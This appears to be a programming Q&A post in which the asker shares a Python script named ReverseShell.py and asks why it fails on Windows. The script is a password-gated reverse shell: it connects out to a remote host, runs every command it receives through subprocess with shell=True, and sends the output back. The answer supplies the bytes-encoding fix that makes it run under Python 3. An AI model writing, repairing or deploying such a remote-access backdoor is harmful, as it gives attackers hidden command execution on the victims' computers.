Python Socket Errors "a bytes-like object is requred not 'str'

Question

This is my script. It works perfectly on Linux but when I run it on a Windows computer I get 2 errors. which are listed at the bottom.

#!/usr/bin/python
import subprocess   
import socket        

host = "*********"   
port = ***           
passwd = "****"  
def Login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        Login()
    else:
        s.send("SHELL ")
        Shell()

#Execute Shell Commands
def Shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
            break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")

#Start Script
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)       
s.connect((host,port))
Login()

BELOW ARE THE TWO ERRORS what needs to be changed?

C:\Users\IEUser\Desktop\Python>python ReverseShell.py
Traceback (most recent call last):
  File "ReverseShell.py", line 34, in <module>
    Login()
  File "ReverseShell.py", line 11, in Login
    s.send("Login: ")
TypeError: a bytes-like object is required, not 'str'

Answer 1

In python2 sock.send can take a python str in python3 it must be a bytes-like object

A simple fix looks like this

'message'.encode('utf-8')

In python2 this will do nothing, in python3 you get your bytes . BAM!

Hope this helps!